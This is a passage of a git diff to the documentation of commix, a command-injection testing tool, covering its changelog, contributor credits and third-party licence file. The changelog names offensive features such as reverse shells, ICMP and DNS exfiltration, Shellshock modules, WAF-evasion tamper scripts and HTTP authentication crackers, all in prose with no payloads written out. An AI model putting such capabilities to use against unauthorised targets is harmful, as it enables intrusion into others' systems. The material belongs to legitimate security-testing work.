## Version 1.6 (2016-12-28) -* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the ":" exists. +* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the `":"` exists. * Fixed: Minor fix regarding empty value(s) in provided parameter(s). * Added: New option `--batch` that never asks for user input (using the default behaviour). * Added: New option `-x` for parsing target(s) from remote sitemap(.xml) file. @@ -266,14 +649,16 @@ * Added: New option `-r` for loading HTTP request from a file. * Fixed: Improvement regarding the response time estimimation, in which the target URL was requested without its POST data. * Added: New option `-m` for scanning multiple targets given in a textual file. -* Fixed: Minor fix regarding the newline display in dynamic code evaluation ("eval-based") and semiblind ("file-based") technique. -* Revised: The dynamic code evaluation ("eval-based") payloads have been shortly revised. +* Fixed: Minor fix regarding the newline display in dynamic code evaluation (i.e. "eval-based") and semiblind technique (i.e. "file-based"). +* Revised: The dynamic code evaluation (i.e. "eval-based") payloads have been shortly revised. * Added: The executed command and the execution results output has been added to log file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.5-20161117...v1.6-20161228)._ + ## Version 1.5 (2016-11-17) * Fixed: Minor improvement in the "ICMP exfiltration" module. * Fixed: Minor improvement for choosing default value when pressing enter. -* Added: New tamper script "hexencode.py" that encodes the payload to hex format. +* Added: New tamper script "hexencode.py" that encodes the payload to `Hex` format. * Fixed: Minor improvements in executed commands history. * Added: New verbosity level (4) for printing the HTTP response page content. * Added: New option `-t` for logging all HTTP traffic into a textual file. @@ -281,8 +666,10 @@ * Added: New verbosity level (3) for printing the HTTP response headers. * Added: New verbosity level (2) for printing the performed HTTP requests headers. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.4-20161017...v1.5-20161117)._ + ## Version 1.4 (2016-10-17) -* Added: Support on crawler for checking target for the existence of 'sitemap.xml'. +* Added: Support on crawler for checking target for the existence of "sitemap.xml". * Revised: The payload for Ruby reverse-shell has been shortly revised. * Added: Support for bind TCP shell (via "bind_tcp" option). * Added: New option `--crawl` (1,2) for crawling of a given website, starting from the target url. @@ -292,6 +679,8 @@ * Fixed: Minor improvement in the function that checks for updates on start up. * Fixed: Minor improvements in enumeration options (added failure messages). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.3-20160914...v1.4-20161017)._ + ## Version 1.3 (2016-09-14) * Fixed: Minor improvements in "reverse_tcp" option. * Added: Support for the metasploit "web_delivery" script. @@ -302,85 +691,103 @@ * Fixed: Minor improvement in Shellshock module for ignoring junk output on response. * Fixed: Minor improvement in Shellshock module for finding RCE results on page's response. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.2-20160812...v1.3-20160914)._ + ## Version 1.2 (2016-08-12) * Added: The ability for setting custom (PHP / Python) working directory. * Fixed: License file minor inaccurancy issue has been fixed. * Revised: The Windows-based payloads for every supported technique, had been shortly revised. -* Revised: The dynamic code evaluation ("eval-based") technique has been shortly revised. -* Added: New tamper script "space2tab.py" that replaces every space ("%20") with horizontal tab ("%09"). +* Revised: The dynamic code evaluation technique (i.e. "eval-based") has been shortly revised. +* Added: New tamper script "space2tab.py" that replaces every space (`%20`) with horizontal tab (`%09`). * Added: The ability for generating powershell attack vectors via TrustedSec's Magic Unicorn. * Added: The ability for checking if there is a new version available. -* Added: The ability for target application extension recognition (i.e PHP, ASP etc). -* Fixed: Minor improvement for finding the URL part (i.e scheme:[//host[:port]][/]path). -* Fixed: Minor fix for conflicted shells (i.e regular, alternative) from session file. +* Added: The ability for target application extension recognition (i.e. PHP, ASP etc). +* Fixed: Minor improvement for finding the URL part (i.e. `scheme:[//host[:port]][/]path`). +* Fixed: Minor fix for conflicted shells (i.e. regular, alternative) from session file. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._ ## Version 1.1 (2016-07-14) * Added: The ".gitignore" file has been added. * Added: Support for injections against ASP.NET applications. -* Added: Support for warning detection regarding "create_function()" function. +* Added: Support for warning detection regarding `create_function()` function. * Fixed: Minor improvent of the HTTP server for `--file-upload` option. * Fixed: Minor fix for conflicted executed commands from session file in HTTP Headers. * Added: The ability to store injection level into session files for current target. * Added: Support for automated enabling of an HTTP server for `--file-upload` option. * Fixed: Minor fix for "Python-urllib" User-Agent exposure. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.0-20160614...v1.1-20160714)._ + ## Version 1.0 (2016-06-14) -* Revised: Time-relative statistical analysis for recognition of unexpected time delays due to unstable requests. +* Revised: Time-related statistical analysis for recognition of unexpected time delays due to unstable requests. * Added: A list of pages / scripts potentially vulnerable to shellshock. * Added: The ability to check if the url is probable to contain script(s) vulnerable to shellshock. * Revised: Multiple eye-candy revisions have been performed. * Fixed: HTTPS requests fixation, if the `--proxy` option is enabled. * Fixed: Multiple fixes regarding the shellshock module have been performed. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.9b-20160607...v1.0-20160614)._ + ## Version 0.9b (2016-06-07) * Added: The ability to re-perform the injection request if it has failed. -* Fixed: The shell output in semiblind ("file-based") technique has been fixed not to concat new lines. +* Fixed: The shell output in semiblind technique (i.e. "file-based") has been fixed not to concat new lines. * Revised: The ability to execute multiple tamper scripts combined or the one after the other. -* Added: New tamper script "space2plus.py" that replaces every space ("%20") with plus ("+"). +* Added: New tamper script "space2plus.py" that replaces every space (`%20`) with plus (`+`). * Added: New state ("checking") and the color of that state has been setted. * Replaced: The `--base64` option has been replaced with "base64encode.py" tamper script. -* Added: New tamper script "space2ifs.py" that replaces every space ("%20") with $IFS (bash) variable. +* Added: New tamper script "space2ifs.py" that replaces every space (`%20`) with `$IFS` (bash) variable. * Added: New option `--tamper` that supports tamper injection scripts. * Added: Support for verbosity levels (currently supported levels: 0,1). * Fixed: Minor rearrangement of prefixes and separators has been implemented. -* Revised: The "time-based" (blind) technique for *nix targets has been shortly revised. -* Revised: The source code has been revised to support "print_state_msg" (i.e error, warning, success etc) functions. +* Revised: The "time-based" (blind) technique for \*nix targets has been shortly revised. +* Revised: The source code has been revised to support `print_state_msg` (i.e. error, warning, success etc) functions. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.8b-20160506...v0.9b-20160607)._ ## Version 0.8b (2016-05-06) -* Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file. -* Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip. -* Replaced: The "INJECT_HERE" tag has been replaced with the "*" (asterisk) wildcard character. +* Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file. +* Added: The ability to check for empty value(s) in the defined GET, POST, Cookie data and skip. +* Replaced: The `INJECT_HERE` tag has been replaced with the custom injection marker (i.e. asterisk `*`). * Added: New option `--level` (1-3) that specifies level of tests to perform. -* Added: New option `-p` that specifies a comma-separated list of GET/POST parameter. +* Added: New option `-p` that specifies a comma-separated list of GET and POST parameter. * Added: The ability to check every parameter in the provided cookie data. * Added: The ability to check every GET parameter in the defined URL and/or every POST provided data. * Added: New option `--all` that enables all supported enumeration options. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.7b-20160418...v0.8b-20160506)._ + ## Version 0.7b (2016-04-18) -* Fixed: HTTP proxy logs parser to accept GET http requests. +* Fixed: HTTP proxy logs parser to accept GET HTTP requests. * Fixed: HTTP proxy logs parser to recognise provided HTTP authentication credentials. -* Added: Support for verbose mode in HTTP authentication (Basic / Digest) dictionary-based cracker. +* Added: Support for verbose mode in HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Added: The ability to store valid (Digest) credentials into session files for current target. -* Added: Dictionary-based cracker for "Digest" HTTP authentication credentials. -* Added: Support for "Digest" HTTP authentication type. +* Added: Dictionary-based cracker for `Digest` HTTP authentication credentials. +* Added: Support for `Digest` HTTP authentication type. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.6b-20160401...v0.7b-20160418)._ ## Version 0.6b (2016-04-01) -* Added: The ability to store valid (Basic) credentials into session files for current target. +* Added: The ability to store valid (`Basic`) credentials into session files for current target. * Added: New option `--ignore-401` that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials. -* Added: Dictionary-based cracker for "Basic" HTTP authentication credentials. -* Added: Identifier for HTTP authentication type (currently only "Basic" type is supported). +* Added: Dictionary-based cracker for `Basic` HTTP authentication credentials. +* Added: Identifier for HTTP authentication type (currently only `Basic` type is supported). * Added: New option `--skip-waf` that skips heuristic detection of WAF/IPS/IDS protection. * Added: Support for verbose mode in the "DNS exfiltration" injection technique (module). * Added: New option `--dns-server` that supports the "DNS exfiltration" injection technique (module). * Added: New option `--dependencies` that checks (non-core) third party dependenices. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.5b-20160316...v0.6b-20160401)._ + ## Version 0.5b (2016-03-16) -* Fixed: The payload(s) for dynamic code evaluation ("eval-based"), if there is not any separator. +* Fixed: The payload(s) for dynamic code evaluation (i.e. "eval-based"), if there is not any separator. * Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module). * Added: Check if the user-defined os name, is different than the one identified by heuristics. * Added: New option `--os` that forces a user-defined os name. * Added: Support for testing custom HTTP headers (via `--headers` parameter). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4.1b-20160226...v0.5b-20160316)._ + ## Version 0.4.1b (2016-02-26) * Added: Support for storing and retrieving executed commands from session file. * Added: New option `-s` for loading session from session file. @@ -388,61 +795,65 @@ * Added: New option `--flush-session` for flushing session files for current target. * Added: Support to resume to the latest injection points from session file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4b-20160204...v0.4.1b-20160226)._ + ## Version 0.4b (2016-02-04) * Added: Payload mutation if WAF/IPS/IDS protection is detected. * Added: Check for existence of WAF/IPS/IDS protection (via error pages). * Added: The "set" option in "reverse_tcp" which sets a context-specific variable to a value. * Added: New option `--force-ssl` for forcing usage of SSL/HTTPS requests. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.3b-20160115...v0.4b-20160204)._ + ## Version 0.3b (2016-01-15) -* Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests. -* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab). +* Added: Time-related false-positive identification, which identifies unexpected time delays due to unstable requests. +* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e. Burp or WebScarab). * Added: Check if Powershell is enabled in target host, if the applied option's payload is requiring the use of PowerShell. * Added: New option `--ps-version`, that checks PowerShell's version number. * Replaced: Some powershell-based payloads, have been replaced by new (more solid) ones, so to avoid "Microsoft-IIS" server's incompatibilities. * Added: Support (in MacOSX platforms) for a tab completion in shell options. -* Added: Undocumented parameter "-InputFormat none" so to avoid "Microsoft-IIS" server's hang. +* Added: Undocumented parameter `-InputFormat none` so to avoid "Microsoft-IIS" server's hang. * Added: Ability for identification of "Microsoft-IIS" servers. -* Added: Statistical checks for time-related ("time-based"/"tempfile-based") techniques. +* Added: Statistical checks for time-related techniques (i.e. "time-based", "tempfile-based"). * Added: Support for Windows-based (cmd / powershell) payloads for every injection technique. ## Version 0.2b (2015-12-18) * Added: Support for recalling previous commands. * Added: Support (in Linux platforms) for tab completion in shell options. -* Added: Support for alternative (Python) os-shell in dynamic code evaluation ("eval-based") technique. +* Added: Support for alternative (Python) os-shell in dynamic code evaluation technique (i.e. "eval-based"). * Added: Support for PHP/Python meterpreter on "reverse_tcp" shell option. * Added: The "reverse_tcp" shell option. * Added: The ability to check for default root directories (Apache/Nginx). -* Added: Support for removal of (txt) shell files in semiblind ("file-based"/"tempfile-based") techniques. +* Added: Support for removal of (txt) shell files in semiblind techniques (i.e. "file-based", "tempfile-based"). * Added: Support for JSON POST data. * Added: The "enumeration" and "file-read" results to log file. * Added: The ability to get the user's approval before re-{enumerate/file-read} target. * Added: The ability to stop current injection technique and proceed on the next one(s). ## Version 0.1b (2015-09-20) -* Added: New eval-based payload for "str_replace()" filter bypass. +* Added: New eval-based payload for `str_replace()` filter bypass. * Added: Check for (GET) RESTful URL format. -* Added: New option `--base64`, that encodes the OS command to Base64 format. -* Added: Support for regular "preg_replace()" injections via "/e" modifier. +* Added: New option `--base64`, that encodes the OS command to `Base64` format. +* Added: Support for regular `preg_replace()` injections via `/e` modifier. * Added: Support for HTML Charset and HTTP "Server" response-header reconnaissance (on verbose mode). -* Replaced: Payloads for "tempfile-based" (semiblind) technique, have been replaced by new (more solid) ones. -* Added: A "new-line" separator support, for "time-based" (blind) & "tempfile-based" (semiblind) techniques. +* Replaced: Payloads for semiblind (i.e. "tempfile-based") technique, have been replaced by new (more solid) ones. +* Added: A "new-line" separator support, for blind (i.e. "time-based") and semiblind (i.e. "tempfile-based") techniques. * Added: Support for Referer HTTP header command injections. * Added: Support for User-Agent HTTP header command injections. -* Added: CVE-2014-6278 support for "shellshock" module. +* Added: [CVE-2014-6278](https://nvd.nist.gov/vuln/detail/CVE-2014-6278) support for "shellshock" module. * Added: Support for cookie-based command injections. * Added: A generic false-positive prevention technique. -* Removed: The "Base64" detection option. +* Removed: The `Base64` detection option. * Added: Support for the Tor network. -* Added: The "shellshock" (CVE-2014-6271) injection technique (module). +* Added: The "shellshock" [CVE-2014-6271](https://nvd.nist.gov/vuln/detail/cve-2014-6271) injection technique (module). * Added: Termcolor support for Windows (colorama). * Added: File access options. * Added: Enumeration options. * Added: New option `--alter-shell` that supports an alternative option for os-shell (e.g. Python). * Added: New option `--icmp-exfil` that supports the "ICMP exfiltration" injection technique (module). -* Added: The "tempfile-based" (semiblind) technique. -* Added: The "file-based" (semiblind) technique. -* Removed: The "boolean-based" (blind) technique. +* Added: The semiblind (i.e. "tempfile-based") technique. +* Added: The semiblind (i.e. "file-based") technique. +* Removed: The blind (i.e. “boolean-based”) technique. * Added: More Options. ## Version 0.1a (2014-12-20) diff --git a/doc/THANKS.md b/doc/THANKS.md index bb92530d1d..02ac1a55ae 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -1,93 +1,134 @@ -## Corporate sponsorship: -* Thanks [Obrela Security Industries](https://www.obrela.com/) for sponsorship. +# Thanks -## List of individual donors: -* Thanks John Brinton for a donation. -* Thanks [Himself132](https://github.com/Himself132) for a donation. -* Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. +Everyone below gave something to commix - code, translation, a package, an idea, or the report that led to a fix. -## List of individual contributors: -* Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. -* Thanks [609496288](https://github.com/609496288) for reporting a bug. -* Thanks [Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) for reporting a bug. -* Thanks [abdoxfox](https://github.com/abdoxfox) for reporting a bug. -* Thanks [ajinabraham](https://github.com/ajinabraham) for reporting a few bugs and for suggesting some features -* Thanks [Alan Placidina](https://github.com/Placidina) for contributing code. -* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug. and for contributing code. -* Thanks [András Veres-Szentkirályi](https://github.com/dnet) for contributing code. -* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code.and for suggesting an enhancement. -* Thanks [apprentice](https://github.com/apprentice) for contributing code. -* Thanks [arbazkiraak](https://github.com/arbazkiraak) for suggesting a feature. -* Thanks [ayzikhn18](https://github.com/ayzikhn18) for reporting a bug. -* Thanks [B4RD4k](https://github.com/B4RD4k) for reporting a few bugs. -* Thanks [blshkv](https://github.com/blshkv) for reporting a bug.and for suggesting a feature. -* Thanks [botdigit-admin](https://github.com/botdigit-admin) for reporting a bug. -* Thanks [CaptanLuffy](https://github.com/CaptanLuffy) for reporting a bug. -* Thanks [Cat0x00](https://github.com/Cat0x00) for reporting a bug. -* Thanks [ChenYun4164](https://github.com/ChenYun4164) for reporting a few bugs. -* Thanks [CINOAdam](https://github.com/CINOAdam) for reporting a bug. -* Thanks [Cxarli](https://github.com/Cxarli) for reporting a bug. -* Thanks [dabing1205](https://github.com/dabing1205) for reporting a bug. -* Thanks [dblock](https://github.com/dblock) for reporting a bug. -* Thanks [dloco01](https://github.com/dloco01) for reporting a bug. -* Thanks [doufu13](https://github.com/doufu13) for reporting a bug. -* Thanks [Doug-Wyman](https://github.com/Doug-Wyman) for reporting a bug. -* Thanks [ethicalhack3r](https://github.com/ethicalhack3r) for reporting a bug. -* Thanks [fuero](https://github.com/fuero) for contributing code. -* Thanks [g0tmi1k](https://github.com/g0tmi1k) for contributing code. -* Thanks [gcattani](https://github.com/gcattani) for reporting a bug. -* Thanks [ghost](https://github.com/ghost) for suggesting a feature. -* Thanks [h0nus](https://github.com/h0nus) for reporting a bug. -* Thanks [hack0mate](https://github.com/hack0mate) for reporting a bug. -* Thanks [hadiirani](https://github.com/hadiirani) for reporting a bug. -* Thanks [Hax0rG1rl](https://github.com/Hax0rG1rl) for suggesting an enhancement. -* Thanks [hcstorm](https://github.com/hcstorm) for reporting mutliple bugs. -* Thanks [Himself132](https://github.com/Himself132) for reporting a few bugs and for suggesting an enhancement. -* Thanks [init5-msft](https://github.com/init5-msft) for reporting a bug. -* Thanks [lacroutelacroute](https://github.com/lacroutelacroute) for reporting a few bugs. -* Thanks [Jean Helie](https://github.com/jhelie) for contributing code. -* Thanks [juushya](https://github.com/juushya) for reporting a bug. -* Thanks [kaczalapa](https://github.com/kaczalapa) for reporting a few bugs. -* Thanks [Kali95739](https://github.com/Kali95739) for reporting a bug. -* Thanks [liboLee](https://github.com/liboLee) for reporting a bug. -* Thanks [MidnightSeer](https://github.com/MidnightSeer) for reporting a bug. -* Thanks [mohammed-sec2010](https://github.com/mohammed-sec2010) for suggesting a feature. -* Thanks [MR-pentestGuy](https://github.com/MR-pentestGuy) for reporting a bug. -* Thanks [Narvalo999](https://github.com/Narvalo999) for reporting a few bugs. -* Thanks [Ny223](https://github.com/Ny223) for reporting a bug. -* Thanks [NullArray](https://github.com/NullArray) for reporting a bug. -* Thanks [onuryilmazinfo](https://github.com/onuryilmazinfo) for reporting a bug. -* Thanks [Parshuram2](https://github.com/Parshuram2) for reporting a bug. -* Thanks [plonibarploni](https://github.com/plonibarploni) for reporting a bug. -* Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug. -* Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs. -* Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement. -* Thanks [royshum93](https://github.com/royshum93) for reporting a bug. -* Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug. -* Thanks [scblakely](https://github.com/scblakely) for reporting a bug. -* Thanks [shaojava](https://github.com/shaojava) for reporting a bug. -* Thanks [shelld3v](https://github.com/shelld3v) for contributing code. -* Thanks [Simon](https://github.com/simonuvarov) for contributing code. -* Thanks [simonuvarov](https://github.com/simonuvarov) for reporting a bug. -* Thanks [Slavery](https://github.com/Slavery) for reporting a bug. -* Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug. -* Thanks [somarrr](https://github.com/somarrr) for reporting a bug. -* Thanks [td4b](https://github.com/td4b) for contributing code. -* Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug. -* Thanks [Tensha](https://github.com/Tensha) for reporting a bug. -* Thanks [temp3l](https://github.com/temp3l) for reporting a bug. -* Thanks [thenight7](https://github.com/thenight7) for suggesting an enhancement. -* Thanks [Tim Gates](https://github.com/timgates42) for contributing code. -* Thanks [vincentubuntu](https://github.com/vincentubuntu) for reporting a bug. -* Thanks [vinod272](https://github.com/vinod272) for reporting a bug. -* Thanks [vmotos](https://github.com/vmotos) for reporting a bug. -* Thanks [vojtapolasek](https://github.com/vojtapolasek) for reporting a few bugs. -* Thanks [VolkNwn](https://github.com/VolkNwn) for reporting a bug. -* Thanks [w9w](https://github.com/w9w) for reporting a bug. -* Thanks [WangSongsen](https://github.com/WangSongsen) for reporting a bug. -* Thanks [xsuperbug.](https://github.com/xsuperbug.) for suggesting a few features -* Thanks [XVilka](https://github.com/XVilka) for suggesting an enhancement. -* Thanks [yournainaidi](https://github.com/yournainaidi) for reporting a few bugs. -* Thanks [zaaazaa](https://github.com/zaaazaa) for reporting a bug. -* Thanks [zar3bski](https://github.com/zar3bski) for reporting a bug. -* Thanks [Zarcolio](https://github.com/Zarcolio) for reporting a bug. +## Sponsors + +[Obrela Security Industries](https://www.obrela.com/) + +## Donors + +John Brinton · Joseph Disser · [Himself132](https://github.com/Himself132) · +[m3g9tr0n](https://x.com/m3g9tr0n) + +## Code + +[0xFred](https://github.com/0xFred) · +[Alan Placidina](https://github.com/Placidina) · +[alpha1e0](https://github.com/alpha1e0) · +[András Veres-Szentkirályi](https://github.com/dnet) · +[anonymousdouble](https://github.com/anonymousdouble) · +[Anton Bolshakov](https://github.com/blshkv) · +[apprentice](https://github.com/apprentice) · +[daniruiz](https://github.com/daniruiz) · +[fuero](https://github.com/fuero) · +[g0tmi1k](https://github.com/g0tmi1k) · +[Jean Helie](https://github.com/jhelie) · +[liangzaihuanyv](https://github.com/liangzaihuanyv) · +[raeph123](https://github.com/raeph123) · +[Raymond-JV](https://github.com/Raymond-JV) · +[shelld3v](https://github.com/shelld3v) · +[Simon](https://github.com/simonuvarov) · +[td4b](https://github.com/td4b) · +[Tim Gates](https://github.com/timgates42) + +## Translations + +[Kazgangap](https://github.com/Kazgangap) - Turkish · +[verfosec](https://github.com/verfosec) - Farsi (Persian) · +[galihap76](https://github.com/galihap76) - Indonesian + +## Packaging + +[JitPatro](https://github.com/JitPatro) - the snap package (`snap install commix`) + +## Features and enhancements + +[0x27](https://github.com/0x27) · +[ajinabraham](https://github.com/ajinabraham) · +[Anton Bolshakov](https://github.com/blshkv) · +[arbazkiraak](https://github.com/arbazkiraak) · +[ghost](https://github.com/ghost) · +[Hax0rG1rl](https://github.com/Hax0rG1rl) · +[Himself132](https://github.com/Himself132) · +[mohammed-sec2010](https://github.com/mohammed-sec2010) · +[n00b-bot](https://github.com/n00b-bot) · +[prince74igor](https://github.com/prince74igor) · +[royharoush](https://github.com/royharoush) · +[Suselz](https://github.com/Suselz) · +[thenight7](https://github.com/thenight7) · +[xerxoria](https://github.com/xerxoria) · +[xsuperbug.](https://github.com/xsuperbug.) · +[XVilka](https://github.com/XVilka) + +## Bugs reported + +[609496288](https://github.com/609496288) · +[6kemb0bani](https://github.com/6kemb0bani) · +[Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) · +[abdoxfox](https://github.com/abdoxfox) · +[ajinabraham](https://github.com/ajinabraham) · +[alpha1e0](https://github.com/alpha1e0) · +[Anton Bolshakov](https://github.com/blshkv) · +[ayzikhn18](https://github.com/ayzikhn18) · +[B4RD4k](https://github.com/B4RD4k) · +[botdigit-admin](https://github.com/botdigit-admin) · +[CaptanLuffy](https://github.com/CaptanLuffy) · +[Cat0x00](https://github.com/Cat0x00) · +[ChenYun4164](https://github.com/ChenYun4164) · +[CINOAdam](https://github.com/CINOAdam) · +[Cxarli](https://github.com/Cxarli) · +[dabing1205](https://github.com/dabing1205) · +[dblock](https://github.com/dblock) · +[dloco01](https://github.com/dloco01) · +[doufu13](https://github.com/doufu13) · +[Doug-Wyman](https://github.com/Doug-Wyman) · +[ethicalhack3r](https://github.com/ethicalhack3r) · +[gcattani](https://github.com/gcattani) · +[h0nus](https://github.com/h0nus) · +[hack0mate](https://github.com/hack0mate) · +[hadiirani](https://github.com/hadiirani) · +[hcstorm](https://github.com/hcstorm) · +[Himself132](https://github.com/Himself132) · +[init5-msft](https://github.com/init5-msft) · +[juushya](https://github.com/juushya) · +[kaczalapa](https://github.com/kaczalapa) · +[Kali95739](https://github.com/Kali95739) · +[lacroutelacroute](https://github.com/lacroutelacroute) · +[liboLee](https://github.com/liboLee) · +[MidnightSeer](https://github.com/MidnightSeer) · +[MR-pentestGuy](https://github.com/MR-pentestGuy) · +[Narvalo999](https://github.com/Narvalo999) · +[NullArray](https://github.com/NullArray) · +[Ny223](https://github.com/Ny223) · +[onuryilmazinfo](https://github.com/onuryilmazinfo) · +[Parshuram2](https://github.com/Parshuram2) · +[plonibarploni](https://github.com/plonibarploni) · +[pomil-1969](https://github.com/pomil-1969) · +[powercrypt](https://github.com/powercrypt) · +[royshum93](https://github.com/royshum93) · +[SaifSalah](https://github.com/SaifSalah) · +[saltasatelites](https://github.com/saltasatelites) · +[scblakely](https://github.com/scblakely) · +[shaojava](https://github.com/shaojava) · +[Simon](https://github.com/simonuvarov) · +[Slavery](https://github.com/Slavery) · +[sno0ose](https://github.com/sno0ose) · +[somarrr](https://github.com/somarrr) · +[Suselz](https://github.com/Suselz) · +[techn0tr0ll](https://github.com/techn0tr0ll) · +[temp3l](https://github.com/temp3l) · +[Tensha](https://github.com/Tensha) · +[vincentubuntu](https://github.com/vincentubuntu) · +[vinod272](https://github.com/vinod272) · +[vmotos](https://github.com/vmotos) · +[vojtapolasek](https://github.com/vojtapolasek) · +[VolkNwn](https://github.com/VolkNwn) · +[w9w](https://github.com/w9w) · +[WangSongsen](https://github.com/WangSongsen) · +[webideveli](https://github.com/webideveli) · +[xerxoria](https://github.com/xerxoria) · +[yournainaidi](https://github.com/yournainaidi) · +[zaaazaa](https://github.com/zaaazaa) · +[zar3bski](https://github.com/zar3bski) · +[Zarcolio](https://github.com/Zarcolio) diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md new file mode 100644 index 0000000000..91d684e3e9 --- /dev/null +++ b/doc/THIRD-PARTY.md @@ -0,0 +1,113 @@ +# Third-party code + +Commix runs with nothing installed beyond Python itself. The libraries it needs are carried in the +tree under `src/thirdparty/`, and this file records what they are and the terms they come under. +Grouped by licence, each group followed by the licence in full, because the BSD and MIT terms below +require the notice to travel with the code. + +| Library | Version | Where | What commix uses it for | +|---------|---------|-------|-------------------------| +| [Beautiful Soup](https://www.crummy.com/software/BeautifulSoup/) | 3.2.1 | `src/thirdparty/beautifulsoup/` | parsing pages while crawling, in `src/utils/crawler.py` | +| [chardet](https://github.com/chardet/chardet) | 4.0.0 | `src/thirdparty/chardet/` | working out a page's character encoding when the target does not say | +| [Colorama](https://github.com/tartley/colorama) | 0.3.9 | `src/thirdparty/colorama/` | coloured console output, on Windows as well | +| [flatten-json](https://github.com/amirziai/flatten) | - | `src/thirdparty/flatten_json/` | flattening a JSON body so each member can be named by the path it sits at | +| [PySocks](https://github.com/Anorov/PySocks) | 1.7.1 | `src/thirdparty/socks/` | SOCKS4/5 proxies, and reaching Tor directly | +| [six](https://github.com/benjaminp/six) | 1.16.0 | `src/thirdparty/six/` | the Python 2 and 3 compatibility layer the rest of the tree imports through | + +`src/thirdparty/odict/` is not third-party code: it is a nine-line shim that hands back +`collections.OrderedDict`, falling back to the six version on interpreters too old to have it. + +## BSD + +* **Beautiful Soup**, under `src/thirdparty/beautifulsoup/`. + Copyright (c) 2004-2010, Leonard Richardson. +* **Colorama**, under `src/thirdparty/colorama/`. + Copyright (c) 2013, Jonathan Hartley. +* **PySocks**, under `src/thirdparty/socks/`. + Copyright (c) 2006, Dan-Haim. + +```` +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +```` + +## MIT + +* **flatten-json**, under `src/thirdparty/flatten_json/`. + Copyright (c) 2016, Amir Ziai. +* **six**, under `src/thirdparty/six/`. + Copyright (c) 2010-2020, Benjamin Peterson. + +```` +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +```` + +## LGPL 2.1 or later + +* **chardet**, under `src/thirdparty/chardet/`. + The Universal Character Encoding Detector. The original code is Mozilla's universal charset + detector; the initial developer is Netscape Communications Corporation, portions created 